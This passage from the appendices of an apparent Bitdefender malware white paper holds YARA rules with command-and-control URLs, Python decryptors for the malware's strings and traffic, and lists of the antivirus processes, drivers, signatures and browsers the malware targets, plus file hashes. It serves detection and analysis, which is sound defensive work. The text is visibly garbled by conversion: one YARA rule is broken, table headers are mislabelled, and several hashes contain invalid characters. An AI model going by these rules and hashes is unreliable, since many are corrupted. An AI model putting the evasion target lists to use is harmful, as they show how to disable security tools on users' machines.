    $mutex = „Global\srlsrv” ascii

    condition:
    1 of ($c*) and all of ($d*) and 1 of ($e*) or $mutex
}

rule svcvmx_exe
{
    strings:
    $c0 = „srcvmx_desktop” wide

    condition:
    1 of them
}

rule winscr_exe
{
    strings:
    $c0 = „WebTWAINService.exe” fullword ascii
    $c1 = „YCMMirage.exe” fullword ascii
    $c2 = „Battle.net” fullword ascii
    $d0 = „Release\Screen.pdb” ascii
    $e0 = „Screen.exe” ascii
    $e1 = „crypto” ascii
    $e2 = „QObject” ascii

    $f0 = „http://www.gpt9.com/api/qzmd” ascii
    $f1 = „http://www.gpt9.com/api/qzki” ascii
White Paper

$f2 = \text{"http://www.gpt9.com/api/eft"} \text{ ascii}
$f3 = \text{"http://www.gpt9.com/api/efls"} \text{ ascii}
$f4 = \text{"http://www.gpt9.com/api/lt?"} \text{ ascii}
$f5 = \text{"http://www.gpt9.com/api/efup"} \text{ ascii}

condition:

1 of ($c$) or 1 of ($d$) or all of ($e$) or 4 of ($f$)

rule vxmclient_exe
{
  strings:
  $c0 = \text{"Release\winltc.exe.pdb"} \text{ ascii}
  condition:
  1 of ($c$) or pe.exports("GetHandleVerifier")
}

rule report
{
  strings:
  $c0 = \{68\ 74\ 70\ \{1-6\} \ 3A\ \ 2F\ \ 77\ \{1-6\} \ 77\ 77\ 2E\ 74\ \{1-6\} \ 74\ 6E\ 6C\ \{1-6\} \ 2E\ 63\ 6F\ 6D\ \{1-6\} \ 2F\ \ 72\ 65\ 70\ \{1-6\} \ 6F\ 72\ 74\ \{1-6\} \ 73\ 3D\ 25\ 64\ \{1-6\} \ 26\ \ 72\ 65\ 3D\ \{1-6\} \ 25\ 64\ \{1-6\}\}
  $d0 = \{69\ 00\ 73\ 00\ \{1-6\} \ 61\ 00\ 73\ 00\ \{1-6\} \ 72\ 00\ 76\ 00\ \{1-6\} \ 2E\ 00\ 73\ 00\ \{1-6\} \ 79\ 00\ 75\ 00\ \{1-6\}\}
  $d1 = \{69\ 00\ 64\ 00\ \{1-6\} \ 6E\ 00\ 74\ 00\ \{1-6\} \ 6C\ 00\ 64\ 00\ \{1-6\} \ 2E\ 00\ 65\ 00\ \{1-6\} \ 78\ 00\ 65\ 00\ \{1-6\}\}
  $d2 = \{63\ 00\ 74\ 00\ \{1-6\} \ 2E\ 00\ 65\ 00\ \{1-6\} \ 78\ 00\ 65\ 00\ \{1-6\}\}
  $e0 = \{69\ 6E\ 73\ 74\ \{3\} \ 61\ 6C\ 6C\ 00\\}
  condition:
  (1 of ($c$) or all of ($d$)) and 1 of ($e$)
}

rule homepageoptimizer
{
  strings:
  $c0 = \text{"Homepageoptimizer"} \text{ wide}
  $c1 = \text{"Homepage Url"} \text{ wide}
  $c2 = \text{"CryptoPP"} \text{ ascii}
  condition:
}
all of them

rule uninstall_homepageoptimizer
{
  strings:
  $c0 = "homepageoptimizer.exe"  wide
  $c1 = "Untinstall homepageoptimizer"  wide
  $c2 = "homepageoptimizer.lnk"  wide
  condition:
    all of them
}

rule netfilter
{
  strings:
  $c0 = "netfilter2.sys"  wide
  $c1 = "NetFilterSDK.com"  fullword wide
  $c2 = "\projects\projectsJ\"  ascii
  condition:
    2 of them
}

String decryption

def decrypt_string(mystr):
    hex_data = [ord(c) for c in mystr]

    edx = 0
    index = 0
    max_index = len(hex_data)

    xlat = "a_qTwBHHKFDMkiUmIe1J8yhjbof4zQO9SxuXAVZ372ELrtG6vCNds5poYn1cgPR~/?:"
    xlat_hex_data = [ord(c) for c in xlat]

    new_data = []

    while index < max_index:
        ecx = 0
```python
edx = hex_data[index]
for x in xlat_hex_data:
    if x == edx:
        break
ecx += 1
if ecx >= 0x43:
    break

ecx += 0x40
eax = 0x7A44C6B
edx = (eax * ecx) >> 48
edx = (edx >> 1) * 0x43
ecx = ecx - edx

d = xlat_hex_data[ecx]
new_data.append(d)
index += 1

d = [chr(c) for c in new_data]
return ','.join(d)
```

**Resource decryption**

```python
def decrypt(data, key):
    new_data = ''
    for x in data:
        new_data += chr(ord(x) ^ key)
    return new_data

data = ''
key = 0
print(decrypt(data.decode('hex'), key))
```

**DES decryption**

```python
from Crypto.Cipher import DES
obj = DES.new('improxy8', DES.MODE_ECB)
data = ''
print(obj.decrypt(request.decode('hex')))
```
## Appendix 3: More information

### Antimalware processes targeted by this malware

<table>
<thead>
<tr>
<th>Antimalware</th>
<th>Process name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Ad-Aware</td>
<td>AdAwareDesktop</td>
</tr>
<tr>
<td></td>
<td>AdAwareService</td>
</tr>
<tr>
<td></td>
<td>AdAwareTray</td>
</tr>
<tr>
<td>Avast</td>
<td>avastsvc</td>
</tr>
<tr>
<td>AVG</td>
<td>avgnt</td>
</tr>
<tr>
<td></td>
<td>avgrsx</td>
</tr>
<tr>
<td></td>
<td>avgsvcx</td>
</tr>
<tr>
<td></td>
<td>avguard</td>
</tr>
<tr>
<td></td>
<td>avguard</td>
</tr>
<tr>
<td></td>
<td>avguix</td>
</tr>
<tr>
<td>Avira</td>
<td>Avira.ServiceHost</td>
</tr>
<tr>
<td></td>
<td>avshadow</td>
</tr>
<tr>
<td>Bitdefender</td>
<td>bdagent</td>
</tr>
<tr>
<td>BullGuard</td>
<td>bullguard</td>
</tr>
<tr>
<td>Comodo</td>
<td>cis</td>
</tr>
<tr>
<td></td>
<td>CisTray</td>
</tr>
<tr>
<td>Dr. Web</td>
<td>dwarkdaemon</td>
</tr>
<tr>
<td></td>
<td>dwengine</td>
</tr>
<tr>
<td></td>
<td>spideragent</td>
</tr>
<tr>
<td>Emisoft</td>
<td>a2service</td>
</tr>
<tr>
<td></td>
<td>a2start</td>
</tr>
<tr>
<td>Eset</td>
<td>egui</td>
</tr>
<tr>
<td></td>
<td>ekm</td>
</tr>
<tr>
<td>Fortinet</td>
<td>FortiClientVirusCleaner</td>
</tr>
<tr>
<td>F-Prot</td>
<td>FPAVServer</td>
</tr>
<tr>
<td></td>
<td>FprotTray</td>
</tr>
<tr>
<td>F-Secure</td>
<td>fsrk32</td>
</tr>
<tr>
<td>G-Data</td>
<td>gdscan</td>
</tr>
<tr>
<td>Ikarus</td>
<td>guardxkickoff</td>
</tr>
<tr>
<td></td>
<td>guardxservice</td>
</tr>
<tr>
<td></td>
<td>guardxservice_x64</td>
</tr>
<tr>
<td>Immunet</td>
<td>sfc</td>
</tr>
<tr>
<td></td>
<td>iptray</td>
</tr>
<tr>
<td>K7</td>
<td>K7SysMon</td>
</tr>
<tr>
<td></td>
<td>K7TSecurity</td>
</tr>
<tr>
<td></td>
<td>K7TSMain</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>avp</td>
</tr>
</tbody>
</table>
### Antimalware drivers targeted by this malware

<table>
<thead>
<tr>
<th>Antimalware</th>
<th>Driver name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Avast</td>
<td>\ASWMONFLT.SYS</td>
</tr>
<tr>
<td></td>
<td>\ASWSPSYS</td>
</tr>
<tr>
<td>AVG</td>
<td>\ASWNTFLT.SYS</td>
</tr>
<tr>
<td></td>
<td>\AVGMONFLT.SYS</td>
</tr>
<tr>
<td></td>
<td>\AVGNFLT.SYS</td>
</tr>
<tr>
<td></td>
<td>\AVGSP.SYS</td>
</tr>
<tr>
<td>Bitdefender</td>
<td>\ATC.SYS</td>
</tr>
<tr>
<td></td>
<td>\GZFLT.SYS</td>
</tr>
<tr>
<td></td>
<td>\TRUFOS.SYS</td>
</tr>
<tr>
<td>HitmanPro</td>
<td>\HITMANPRO</td>
</tr>
<tr>
<td>Kaspersky</td>
<td>\KLBACKUPFLT.SYS</td>
</tr>
<tr>
<td>Kingsoft</td>
<td>\KNBDRV.SYS</td>
</tr>
<tr>
<td>KLIF</td>
<td>\KLIF.SYS</td>
</tr>
<tr>
<td>Malwarebytes</td>
<td>MBAM.SYS</td>
</tr>
<tr>
<td></td>
<td>MBAMSWISSARMY.SYS</td>
</tr>
<tr>
<td></td>
<td>MWAC.SYS</td>
</tr>
<tr>
<td>Norton</td>
<td>SRTSP64.SYS</td>
</tr>
<tr>
<td></td>
<td>SYMEFASI64.SYS</td>
</tr>
<tr>
<td></td>
<td>SYMEVENT64X86.SYS</td>
</tr>
<tr>
<td></td>
<td>SYMNETS.SYS</td>
</tr>
<tr>
<td>Panda</td>
<td>NNSPIHHSW.SYS</td>
</tr>
<tr>
<td></td>
<td>PANDA_URL_FILTERINGD.SYS</td>
</tr>
<tr>
<td></td>
<td>PSINFILE.SYS</td>
</tr>
<tr>
<td>Qihoo360</td>
<td>BAPIDRV64.SYS</td>
</tr>
<tr>
<td></td>
<td>DSARK64.SYS</td>
</tr>
<tr>
<td></td>
<td>EPP64.SYS</td>
</tr>
<tr>
<td>Windows Defender</td>
<td>WDFILTER.SYS</td>
</tr>
<tr>
<td>Zemana</td>
<td>ZAM64.SYS</td>
</tr>
</tbody>
</table>

**Browser processes targeted by this malware**

<table>
<thead>
<tr>
<th>Browser name</th>
<th>Process name</th>
</tr>
</thead>
<tbody>
<tr>
<td>FLYIE.EXE</td>
<td></td>
</tr>
<tr>
<td>ROAMB.EXE</td>
<td></td>
</tr>
<tr>
<td>CELL.EXE</td>
<td></td>
</tr>
<tr>
<td>CYIE.EXE</td>
<td></td>
</tr>
<tr>
<td>PILUO.EXE</td>
<td></td>
</tr>
<tr>
<td>CHEERBROWSER.EXE</td>
<td></td>
</tr>
<tr>
<td>WEBSTRIP.EXE</td>
<td></td>
</tr>
<tr>
<td>SCHEDULER.EXE</td>
<td></td>
</tr>
<tr>
<td>BARSMEDIA.EXE</td>
<td></td>
</tr>
<tr>
<td>LANGUANG.EXE</td>
<td></td>
</tr>
<tr>
<td>BROWSER.EXE</td>
<td></td>
</tr>
<tr>
<td>JX.EXE</td>
<td></td>
</tr>
<tr>
<td>CAIMAO.EXE</td>
<td></td>
</tr>
<tr>
<td>SE.EXE</td>
<td></td>
</tr>
<tr>
<td>HUAER.EXE</td>
<td></td>
</tr>
<tr>
<td>WEBGAMEGT.EXE</td>
<td></td>
</tr>
<tr>
<td>Browser</td>
<td>EXE File</td>
</tr>
<tr>
<td>---------------------------------</td>
<td>---------------------------</td>
</tr>
<tr>
<td>FTBR.EXE</td>
<td></td>
</tr>
<tr>
<td>RUIYING.EXE</td>
<td></td>
</tr>
<tr>
<td>KCHROME.EXE</td>
<td></td>
</tr>
<tr>
<td>CHGREENBROWSER.EXE</td>
<td></td>
</tr>
<tr>
<td>DUOPING.EXE</td>
<td></td>
</tr>
<tr>
<td>07073GE.EXE</td>
<td></td>
</tr>
<tr>
<td>114IE.EXE</td>
<td></td>
</tr>
<tr>
<td>2291 Browser</td>
<td>2291BROWSER.EXE</td>
</tr>
<tr>
<td>2345</td>
<td>2345EXPLORER.EXE</td>
</tr>
<tr>
<td>2345chrome</td>
<td>2345CHROME.EXE</td>
</tr>
<tr>
<td>360 Browser</td>
<td>360CHROME.EXE</td>
</tr>
<tr>
<td>360SE.EXE</td>
<td></td>
</tr>
<tr>
<td>8UExplorer Web Browser</td>
<td>8UEXPLORER.EXE</td>
</tr>
<tr>
<td>Acoo Browser</td>
<td>ACOOBROWSER.EXE</td>
</tr>
<tr>
<td>AirView Spectrum Analyzer</td>
<td>AIRVIEW.EXE</td>
</tr>
<tr>
<td>Avant Browser</td>
<td>ZBROWSER.EXE</td>
</tr>
<tr>
<td>Avant Browser 2</td>
<td>AVANT.EXE</td>
</tr>
<tr>
<td>Baidu</td>
<td>BAIDUBROWSER.EXE</td>
</tr>
<tr>
<td>BitComet Resource Browser</td>
<td>COMETBROWSER.EXE</td>
</tr>
<tr>
<td>VU.EXE</td>
<td>CAIYUN.EXE</td>
</tr>
<tr>
<td>Chrome</td>
<td>CHROME.EXE</td>
</tr>
<tr>
<td>Comodo Dragon Internet Browser</td>
<td>DRAGON.EXE</td>
</tr>
<tr>
<td></td>
<td>CORAL.EXE</td>
</tr>
<tr>
<td>Crazy Browser</td>
<td>CRAZY_BROWSER.EXE</td>
</tr>
<tr>
<td></td>
<td>DYBROWSER.EXE</td>
</tr>
<tr>
<td>Firefox</td>
<td>FIREFOX.EXE</td>
</tr>
<tr>
<td></td>
<td>SBFRAME.EXE</td>
</tr>
<tr>
<td>Gameclub</td>
<td>AEGIS.EXE</td>
</tr>
<tr>
<td>GamesBrowser</td>
<td>GAMESBROWSER.EXE</td>
</tr>
<tr>
<td>GeSearch</td>
<td>GESEARCH.EXE</td>
</tr>
<tr>
<td>GoSURF</td>
<td>GOSURF.EXE</td>
</tr>
<tr>
<td>GreenBrowser</td>
<td>GREENBROWSER.EXE</td>
</tr>
<tr>
<td></td>
<td>HXBROWSER.EXE</td>
</tr>
<tr>
<td>Internet Explorer</td>
<td>EXPLORE.EXE</td>
</tr>
<tr>
<td>IQ Web Browser</td>
<td>MYIQ.EXE</td>
</tr>
<tr>
<td>Browser Name</td>
<td>File Path</td>
</tr>
<tr>
<td>--------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>Juzi</td>
<td>.\JUZI.EXE</td>
</tr>
<tr>
<td>JwBrowser</td>
<td>.\JWBROWSER.EXE</td>
</tr>
<tr>
<td>Kinoroom Browser</td>
<td>.\KRBrowser.EXE</td>
</tr>
<tr>
<td>Liebao</td>
<td>.\LIEBAO.EXE</td>
</tr>
<tr>
<td>Luna / LunaShop / Luna Anticheat ??</td>
<td>.\LUNA.EXE</td>
</tr>
<tr>
<td>Maxthon</td>
<td>.\MAXTHON.EXE</td>
</tr>
<tr>
<td>Microsoft Edge</td>
<td>.\MICROSOFTEDGECP.EXE</td>
</tr>
<tr>
<td>Microsoft Edge</td>
<td>.\MICROSOFTEDGE.EXE</td>
</tr>
<tr>
<td></td>
<td>.\MINIIE_2.EXE</td>
</tr>
<tr>
<td>MyIE9</td>
<td>.\MYIE9.EXE</td>
</tr>
<tr>
<td>Netscape</td>
<td>.\NETSCAPE.EXE</td>
</tr>
<tr>
<td>Opera</td>
<td>.\OPERA\LAUNCHER.EXE</td>
</tr>
<tr>
<td>Packard Bell Browser</td>
<td>.\PBBROWSER.EXE</td>
</tr>
<tr>
<td>Pale Moon Web Browser</td>
<td>.\PALEMOON.EXE</td>
</tr>
<tr>
<td>QtWeb Internet Browser</td>
<td>.\QTWEB.EXE</td>
</tr>
<tr>
<td>Rising Browser Application</td>
<td>.\RSBROWSER.EXE</td>
</tr>
<tr>
<td>S3 Browser</td>
<td>.\S3BROWSER-WIN32.EXE</td>
</tr>
<tr>
<td>SaaYaa</td>
<td>.\SAAYAA.EXE</td>
</tr>
<tr>
<td>Safari</td>
<td>.\SAFARI.EXE</td>
</tr>
<tr>
<td>SeaMonkey</td>
<td>.\SEAMONKEY.EXE</td>
</tr>
<tr>
<td>Seemao</td>
<td>.\SEEMAO.EXE</td>
</tr>
<tr>
<td>SogouExplorer</td>
<td>.\SOGOUEXPLORER.EXE</td>
</tr>
<tr>
<td>SRWare Iron</td>
<td>.\IRON.EXE</td>
</tr>
<tr>
<td></td>
<td>.\SRIE.EXE</td>
</tr>
<tr>
<td>Tango</td>
<td>.\TANGO3.EXE</td>
</tr>
<tr>
<td>Taobrowser</td>
<td>.\TAOBROWSER.EXE</td>
</tr>
<tr>
<td>Taomee Browser</td>
<td>.\TAOMEEBROWSER.EXE</td>
</tr>
<tr>
<td>Tencent QQ</td>
<td>.\QQBROWSER.EXE</td>
</tr>
<tr>
<td>Tencent Traveler</td>
<td>.\TTRAVELER.EXE</td>
</tr>
<tr>
<td>Tencent WeChat</td>
<td>.\WECATWEA.EXE</td>
</tr>
<tr>
<td>TfyBrowser Web Browser</td>
<td>.\TfyBROWSER.EXE</td>
</tr>
<tr>
<td>TheWorld</td>
<td>.\THEWORLD.EXE</td>
</tr>
<tr>
<td>TheWorld</td>
<td>.\THEWORLD.EXE</td>
</tr>
<tr>
<td>TheWorld Chrome</td>
<td>.\TCHROME.EXE</td>
</tr>
<tr>
<td>UC Browser</td>
<td>.\UCBROWSER.EXE</td>
</tr>
<tr>
<td>XBrowser</td>
<td>.\XEBROWSER.EXE</td>
</tr>
<tr>
<td></td>
<td>.\XTTBROWSER.EXE</td>
</tr>
</tbody>
</table>
### Digital signatures targeted by rootkit

<table>
<thead>
<tr>
<th>Product</th>
<th>Digital signature</th>
</tr>
</thead>
<tbody>
<tr>
<td>Xplorer</td>
<td>XPLORER.EXE</td>
</tr>
<tr>
<td>YY Explorer</td>
<td>YYEXPLORER.EXE</td>
</tr>
<tr>
<td>AliBrowser</td>
<td>ALIBROWSER.EXE</td>
</tr>
<tr>
<td>Adlice</td>
<td>Adlice Labs Pty Ltd</td>
</tr>
<tr>
<td>Auslogics</td>
<td>Auslogics Labs Pty Ltd</td>
</tr>
<tr>
<td>Avast</td>
<td>AVAST Software a.s.</td>
</tr>
<tr>
<td>AVG</td>
<td>AVG Technologies CZ, s.r.o.</td>
</tr>
<tr>
<td>Avira</td>
<td>Avira Operations GmbH &amp; Co.KG</td>
</tr>
<tr>
<td>Kingsoft Security</td>
<td>Beijing Kingsoft Security software Co., Ltd</td>
</tr>
<tr>
<td>Beijing Rising Information Technology</td>
<td>Beijing Rising Information Technology Corporation Limited</td>
</tr>
<tr>
<td>Bitdefender</td>
<td>Bitdefender SRL</td>
</tr>
<tr>
<td>Bleeping Computer</td>
<td>Bleeping Computer, LLC.</td>
</tr>
<tr>
<td>Blue Coat Norway AS</td>
<td>Blue Coat Norway AS</td>
</tr>
<tr>
<td>BrightFort</td>
<td>BrightFort LLC</td>
</tr>
<tr>
<td>BullGuard</td>
<td>BullGuard Ltd.</td>
</tr>
<tr>
<td>Byte Technologies</td>
<td>Byte Technologies LLC</td>
</tr>
<tr>
<td>Check Point Software Technologies</td>
<td>Check Point Software Technologies Ltd.</td>
</tr>
<tr>
<td>Comodo Security</td>
<td>Comodo Security Solutions</td>
</tr>
<tr>
<td>Computer Associates International</td>
<td>Computer Associates International</td>
</tr>
<tr>
<td>Datpol Janusz Siemienowicz</td>
<td>Datpol Janusz Siemienowicz</td>
</tr>
<tr>
<td>Doctor Web</td>
<td>Doctor Web Ltd.</td>
</tr>
<tr>
<td>Emsisoft</td>
<td>Emsisoft GmbH</td>
</tr>
<tr>
<td>Enigma Software</td>
<td>Enigma Software Group USA, LLC</td>
</tr>
<tr>
<td>ESET</td>
<td>ESET, spol.s r.o.</td>
</tr>
<tr>
<td>Filseclab Corporation</td>
<td>Filseclab Corporation</td>
</tr>
<tr>
<td>Fortinet Technologies</td>
<td>Fortinet Technologies</td>
</tr>
<tr>
<td>FRISK Software</td>
<td>FRISK Software International</td>
</tr>
<tr>
<td>G DATA</td>
<td>G DATA Software AG</td>
</tr>
<tr>
<td>Glarysoft</td>
<td>Glarysoft LTD</td>
</tr>
<tr>
<td>Gridinsoft</td>
<td>Gridinsoft, LLC</td>
</tr>
<tr>
<td>HuoRongBoRui (Beijing) Technology</td>
<td>HuoRongBoRui (Beijing) Technology Co., Ltd</td>
</tr>
<tr>
<td>IKARUS Security Software</td>
<td>IKARUS Security Software GmbH</td>
</tr>
<tr>
<td>Immunet Corporation</td>
<td>Immunet Corporation</td>
</tr>
<tr>
<td>IObit Information Technology</td>
<td>IObit Information Technology</td>
</tr>
<tr>
<td>K7 Computing</td>
<td>K7 Computing Pvt Ltd</td>
</tr>
</tbody>
</table>
## Appendix 4: File Hashes

### Bypass UAC

<table>
<thead>
<tr>
<th>Hash1</th>
<th>Hash2</th>
</tr>
</thead>
<tbody>
<tr>
<td>bea49571426dbf5fe481189d8623b37b84ec4ecc1</td>
<td>aaf10b4c1b3c85c4ea84ce16def15c4286d68ee00</td>
</tr>
<tr>
<td>5e7db8e9a0f0dce1d3a735f4ca07230f69988defa</td>
<td>d0d61d541e2104e9761d60f5ca845d1105e777</td>
</tr>
<tr>
<td>9eebeb792e64f74dcb2897b9cb0b71d9d8</td>
<td>6a0208ea12250dea5899edbe1fa4f2d967b7c6</td>
</tr>
<tr>
<td>bbbcc7571524df29739f14e1e2597d8016e867e8be</td>
<td>252ebece33995211cfc330a572f336848affcdece</td>
</tr>
<tr>
<td>bdd214difa2c14467c1678335c9f5ef7c5e185b45</td>
<td>50ce0518d7ac70328bf11bd27e984f1991ec56ae</td>
</tr>
<tr>
<td>e1a2f64887bb181f26ed7ff9f8255713b7e198a8</td>
<td>b61091b795702c97f1820b393b1b328501e8a8</td>
</tr>
<tr>
<td>1d3d5471f76eb1b9c9d97959329c63d8f69c29dc</td>
<td>eb5f71f0746e111f7c74ae4add4e754caid876d90e</td>
</tr>
</tbody>
</table>

### Quick Heal Technologies

<table>
<thead>
<tr>
<th>Hash1</th>
<th>Hash2</th>
</tr>
</thead>
<tbody>
<tr>
<td>00c2f5820164a2d2f6f798ba28f3947d62c8f81</td>
<td>2ab5e8f97eadf71add5e884082af7104ae26de</td>
</tr>
<tr>
<td>d0d61d541e2104e9761d60f5ca845d1105e777</td>
<td>b5f9b4e275ff9201ba433bf4b8ec402bc67c6f</td>
</tr>
<tr>
<td>6a0208ea12250dea5899edbe1fa4f2d967b7c6</td>
<td>490f2818d6fb14599828be62bc4b2f3eabc8ed1c</td>
</tr>
<tr>
<td>50ce0518d7ac70328bf11bd27e984f1991ec56ae</td>
<td>fd7f967db121780c910b5a557dcd242fb327133</td>
</tr>
<tr>
<td>b61091b795702c97f1820b393b1b328501e8a8</td>
<td>b8e8936164a9f4bd28eaf02de413510f9a4f72c</td>
</tr>
<tr>
<td>eb5f71f0746e111f7c74ae4add4e754caid876d90e</td>
<td>e87df0917ca4f0ae4f4f9ecfcea9f65c3d370db5</td>
</tr>
<tr>
<td>d4f0c85cc1b20db0a8c4b9c57c9d652374a07107</td>
<td>bea0cd11f63532abf62980a2de857369768f3c</td>
</tr>
</tbody>
</table>
AV Info Service

Rootkit

3a8b3b0388339ad3de1c36576577a631985466
cc1d6f78504dd7b0e79d90381918641d3c74e74
Setup Downloader (old version)

72a6f608719ad4ca627b22fe479919f2f45ec82f
b53d4521425ed989ff10ff9cfd9f8a2a5af5
efcc608c5b927e711206554a397967a81e62b
7854def7a9f2e5a5b37d69f5d15b806edcc
a3b910a158e90c501d5e2861930e6429b40a12e
d3bae58839b9080da7f50737c1d1b01df9e15cbh

76592ae576ecfc3d872e5f476e433d52fde0101
beb163d81b5a7e87b7505b8364247b5c0738bc
1a556e03a72ff7f59ab680662e8163718592d
48692b2d719cf3d472c94f52f3405bcbf518
d5056ed3d062d67e7a0ef0f28bc389a0eefcf144
7c8f1a97a5e9c067cc3a025f593f2b616450
b4e52c979d5ee954a24f7f592529960f6cf7
3ab0883b085f9df023b3b2e3887c5685929df5
7c8f1a97a5e9c067cc3a025f593f2b616450
f88e6e1a43311daea9b9af2899a0eaee64cf018eb40b6f5c4c1f920de2d4f53775
ca7a56c069361e422691b96d72fe5c6e310e4e1
0a87b75729df35e456d89c142a252
df9a63a0630482cf174f353b28985cd36b6849

Setup Downloader

0047042720f6d16c0b7a73152993b579c81d
a5aa8ff7f0405aaef05046c2937e6b65509506c8
ffdad3a74ee32675d1b254c1d6728781731e51
45f5885ad1b7114873064ba2ae72f020abc7a069
d647928ba90195df8b1648a843d85c891a0a3d
085e381cd97d49f7c8a80ca734b109eefde19d
b4f3e28831e03e3e888b54aefb98e9c12604f
2ffdf3896140ca07f7c9b1a814d90c343a1
da52c2a0a2df062f2c171e4aaddc993a649db1b
cee8d4c581f0d88b16b25412c136464a01834
4bf1dlee90882f13e322182d249a90e559e21d
14fbadfe04e991a848280675b5017a126464f
15d80e6a2cc466c8bdcb0881db9c79a40ca5
618aa83a2d48a5bac6ac60b2cb65975d4c5f4
2ca1a2fe6486df8c9b23a0718f9bf535743df

SSmark Application

51960b69fa47c96af835ec71057b869e45938ed
4ddbbecbc348eb9f6a79986d01ee4e270018f259
50c0a13ec14bd478e70583f6f41c6a685629d9ee
3e4e4b87e423a3e143cd286fb048c04372c66bca
0cca31ec14bd478e70583f6f41c6a685629d9ee
a3b6f42f2db702583a9a8f704b172c94ad96627
867515f59b59a4c311508eb7b5dc369e004624a
615f2e89a4bb7a94ebd6184060a7f41adc2

Component Updater

8a5f75a73705645cf90a6d106b7b47f5f1b6c0306
dcc1095b1b89e890805b9a2c60485755de5b
c439071594cc32dca3c214539fd6701092dca24
67ae80484fde0d1c633b8d631044f1626665
658b0776ba9ea23f38c63490f3d3fa0d8a0
32305022b6e95acc73bae8013d3953666d5c1
de4b08c7f7a979d891122626f78fc53a0f6a1bac
9d364305d485b865f8faseeae693afe960e2c1c
731446607c59fd6088cf7f4ca45fdbc7b55b123
Bitdefender is a global security technology company that delivers solutions in more than 100 countries through a network of value-added alliances, distributors and reseller partners. Since 2001, Bitdefender has consistently produced award-winning business and consumer security technology, and is a leading security provider in virtualization and cloud technologies. Through R&D, alliances and partnership teams, Bitdefender has elevated the highest standards of security excellence in both its number-one-ranked technology and its strategic alliances with the world’s leading virtualization and cloud technology providers. More information is available at http://www.bitdefender.com/